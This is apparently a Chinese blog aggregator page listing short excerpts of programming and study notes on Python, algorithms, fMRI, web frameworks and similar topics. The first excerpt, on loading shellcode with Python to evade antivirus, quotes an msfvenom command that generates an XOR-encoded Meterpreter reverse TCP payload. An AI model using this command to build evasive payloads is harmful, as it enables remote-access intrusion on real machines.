闭包 笔记python

python加载shellcode免杀

1、第一个shellcode加载器 import ctypes # msf生成的shellcode,命令:msfvenom -e x64/xor_dynamic -i 16 -p windows/x64/meterpreter_reverse_tcp lhost=192.168.111.111 lp ......
shellcode python

【fMRI笔记】杂乱版

关于nii文件格式的链接 SPM data structures:介绍了关于nii格式的一些详细信息,基于SPM。 SPM Tutorial #3: Looking at the Data:介绍了在SPM中以图片形式查看nii图像的方法。 SPM/Working with 4D data:介绍了在如 ......
笔记 fMRI

[学习笔记]反悔贪心

顾名思义,就是对一些决策进行返回的贪心。 比如你去爬山,你爬到比之前都高的一个点,你就可以认为这是最高的山,再往上爬,爬到了一个更高点,你就可以撤回一条消息反悔,认为这个点才是最高点。 接下来看几道例题,理解一下 例题 例题 1 P2949 [USACO09OPEN] Work Scheduling ......
笔记

Python 集合(Sets)2

访问项 您无法通过引用索引或键来访问集合中的项。但是,您可以使用for循环遍历集合项,或者使用in关键字检查集合中是否存在指定的值。 示例,遍历集合并打印值: thisset = {"apple", "banana", "cherry"} for x in thisset: print(x) 示例, ......
Python Sets

【Python】创建虚拟环境

python安装库比较多的时候,创建虚拟环境方便管理。 安装: sudo apt install python3-venv 创建: python3 -m venv env 激活: source ./env/bin/activate 退出: deactivate ......
环境 Python

代码随想录训练营的第二天(Python)| 977.有序数组的平方、209.长度最小的子数组

977.有序数组的平方 暴力求解(O(n+logn)) class Solution: def sortedSquares(self, nums: List[int]) -> List[int]: return sorted(i**2 for i in nums) 双指针(O(n)) 由于列表是单调 ......
数组 随想录 训练营 随想 长度

Python对全球Covid-19疫情失业数据相关性、可视化分析

全文链接:https://tecdat.cn/?p=33852 原文出处:拓端数据部落公众号 “失业”是 Covid-19 疫情的许多负面影响之一,几乎每个国家都受到了影响。帮助客户研究 Covid-19 期间的失业情况可能不仅揭示了该疫情对每个国家的影响程度,还揭示了世界各地不同的裁员文化。 在一 ......
相关性 疫情 数据 Python 全球

CF1801C 做题笔记

题目链接 一道需要挖掘一些性质的 dpt,居然独立想出来了。 本蒟蒻太菜了只会树状数组的做法,单调栈不会。 先考虑只管对答案有贡献的音乐,这当然是正确的,因为我们可以把对答案没有贡献的音乐放到最后。 对于每一首乐曲,我们也能对它进行一个简单的处理来模拟听的过程,维护一个值 $lst$,每次输入的数 ......
笔记 1801C 1801 CF

笨办法学Python3 习题33 while 循环

while 循环 只要循环语句中的条件布尔值为True ,就会不停的执行下面的代码块 命令。 while循环是无边界循环,for in 循环是有边界循环 和 if 语句的相似点都是检查一个布尔表达式的真假,if 语句是执行一次,while 循环是执行完跳回到while 顶部,如此重复,直到布尔值为假 ......
习题 Python3 办法 Python while

Kruskal重构树 学习笔记

前言 也许在看这篇文章之前,你可以看看这篇文章? 前置知识:\(kruskal\) 求最小生成树,并查集…… 算法介绍 问题引入 两个点之间的所有简单路径上最大边权的最小值。 我们定义 \(u\to v\) 路径的瓶颈为,路径上的边权最大值。 那么下图的瓶颈就为 4: 同时一条路径也可能有多个瓶颈, ......
Kruskal 笔记

Python中的迭代器与生成器

迭代:迭代是 Python 最强大的功能之一,是访问集合元素的一种方式。 迭代器:迭代器是一个可以记住遍历的位置的对象。 迭代器对象从集合的第一个元素开始访问,直到所有的元素被访问完结束。迭代器只能往前不会后退。 迭代器有两个基本的方法:iter() 和 next()。 字符串,列表或元组对象都可用 ......
生成器 Python

笔记软件快捷键

Ctrl+shift+【有序列表 Ctrl+shift+】 无须列表 标题:Ctrl+1/2/3/4/5标题大小 Ctrl+0段落 增大标题级别:Ctrl+ + 减小标题级别:Ctrl+ - 增加缩进Ctrl+] 减少缩进Ctrl+] 选中一整行:CTRL+L 选中单词:CTRL+D 选中相同格式的 ......
快捷键 笔记 软件

动态规划——树形DP 学习笔记

动态规划——树形DP 学习笔记 引入 前置知识:树基础。 树形 DP,即在树上进行的 DP,最常见的状态表示为 \(f_{u,\cdots}\),表示以 \(u\) 为根的子树的某个东东。 本文将讲解一些经典题目(树的子树个数、树的最大独立集、树的最小点覆盖、树的最小支配集、树的直径、树的重心、树的 ......
树形 笔记 动态

python 删除es指定字段数据

需求: 删除es 中指定IP 相关的数据 (remoteAddr: ip) 日志格式 fields.product:wantwords_zxxxx_feature @timestamp:Oct 12, 2023 @ 18:56:39.000 date_timeLocal:12/Oct/2023:18 ......
字段 数据 python

2023/10/12 学习笔记2

一、信号与数制转换 1.1 信号相关概念 1.1.1 信息: 不同领域对信息有不同的定义,一般认为信息是人们对现实世界事物的存在方式或运动状态的某种认识。 表示信息的形式可以是数值、文字、图形、声音、图像及动画等。 1.1.2 数据: 数据是用于描述事物的某些属性的具体量值。 1.1.3 信号: 信 ......
笔记 2023 10 12

Cython加密python代码防止反编译

本方法适用于Linux环境下: 1.安装库Cython pip3 install Cython==3.0.0a10 2.编写待加密文件:hello.py import random def ac(): i = random.randint(0, 5) if i > 2: print('success ......
代码 Cython python

python 链表

from typing import Optional class ListNode: def __init__(self, val=0, next=None): self.val = val self.next = next class Solution: def partition(self, ......
python

simulink中调用python脚本

command = 'test.py &'; %后轴&:等待调用结束( command = 'test.py'; %无后轴&:立即执行下一句 [status,cmdout] = system(command,'-echo'); 参考:详解MATLAB的函数system()和shell转义字符“感叹号 ......
脚本 simulink python

【Python】FastAPI 使用python3.6+构建API的Web框架

现代、快速(高性能)的 Web 框架,用于构建基于 Python 的 API;基于 Starlette 和 Pydantic 库构建而成 官网:https://fastapi.tiangolo.com/ 1、安装 # 对于生产环境,还需要一个ASGI服务器,如Uvicorn或Hypercorn # ......
框架 FastAPI python3 Python python

《最新出炉》系列初窥篇-Python+Playwright自动化测试-19-处理鼠标拖拽-中篇

1.简介 上一篇中,主要是介绍了拖拽的各种方法的理论知识以及实践,今天宏哥讲解和分享一下划取字段操作。例如:需要在一堆log字符中随机划取一段文字,然后右键选择摘取功能。 2.划取字段操作 划取字段操作就是在一段文字中随机选中一段文字,或者在标记文字。当然了,这个在一些网站的登录也需要滑块验证等。 ......
中篇 Playwright 鼠标 Python 19

python+playwright 学习-61 Playwright 和 Selenium 的区别是什么?

前言 最近有不少同学问到 Playwright 和 Selenium 的区别是什么?有同学可能之前学过 selenium 了,再学一个 playwright 感觉有些多余,可能之前有项目已经是 selenium 写的了,换成 playwright 需要时间成本,并且可能有未知风险。也有同学之前可能没 ......
playwright Playwright Selenium python 61

Python - 深拷贝一个带有指向自身引用的列表,会报错么?紧接着用==比较,会报错么?

问题描述 深拷贝一个带有指向自身引用的列表: 列表 x 中有指向自身的引用,因此 x 是一个无限嵌套的列表。 import copy x = [1] x.append(x) >>x [1, [...]] y = copy.deepcopy(x) >>y [1, [...]] 深拷贝不报错 但是我们发 ......
拷贝 紧接着 指向 Python

docker 部署.net core ,用于博主本人笔记

安装dockerdocker 部署 netcore 步骤 1、下载最新netcore支持docker pull mcr.microsoft.com/dotnet/core/aspnet:latest 2、发布netcore 项目linux环境需要在发布文件夹内 创建Dockerfile,并添加如下内 ......
笔记 docker core net

分数规划笔记

前言 分数规划是来求一个分式的极值 形象点就是已知 \(a_i,b_i\) 求 \[\frac{\sum_{i=1}^n a_i \times x_i}{\sum_{i=1}^n b_i \times x_i} \]的极值,其中 \(x_i\in \{0,1\}\) 显然可以二分求解,设当前二分值为 ......
分数 笔记

【实操笔记】OPCUA接入

1.OPC UA介绍 一、各种语言的开源库介绍 https://wanghao1314.blog.csdn.net/article/details/106452683 二、官网 https://open62541.org/ 三、编译 1.cmake安装 https://blog.csdn.net/m ......
笔记 OPCUA

二次离线莫队笔记

前言 莫队可以解决许多其他数据结构无法完成的问题,正在很多其他问题上也可以拿部分分甚至满分,只因其复杂度为小常数 \(O(n\sqrt n \times k)\) 其中 \(k\) 是单次扩张以及收缩的复杂度,而二离莫队可以在答案可差分的情况下达到 \(O(n\sqrt n + n \times k ......
笔记

动物识别系统python+Django网页界面+TensorFlow算法模型+数据集训练

一、简介 动物识别系统。基于Python+TensorFlow+Django网页框架+ResNet50算法模型实现 实现步骤如下: 收集多种动物的图片数据集,并整理归类 然后使用TensorFlow搭建ResNet50算法模型网络对数据集进行多次迭代训练 最后得到一个精度较高的H5模型文件 基于训练 ......
算法 TensorFlow 模型 界面 动物

Python 正则表达式

难得写了,直接上别人链接:https://www.cnblogs.com/CYHISTW/p/11363209.html ......
正则 表达式 Python

网络流笔记

前言 粗略地讲一下吧,大概能理解就行 理论部分借鉴了 oi-wiki ,有问题欢迎指出 网络流 网络是一个特殊有向图 $G=(V,E)$ ,特殊在于有源点 $s$ 和汇点 $t$ 首先网络流图中每条边 $(u,v)$ 都有一个容量 $c(u,v)$ 介绍流函数 $f(u,v)$ ,指 $u$ 到 $ ......
笔记 网络

fhqtreap笔记

引入 无旋转 $treap$ ,又称分裂合并树,因为其操作由分裂合并实现,代码简单,好调,并且没有旋转操作,可能有时常数略大,但不影响其优秀。 原理 $fhqtreap$ 是以 $BST$ 二叉搜索树为基础实现的 不同于 $BST$ 的是,加入数值时我们保存一个随机 $key$ 值 ,并保证父亲的 ......
fhqtreap 笔记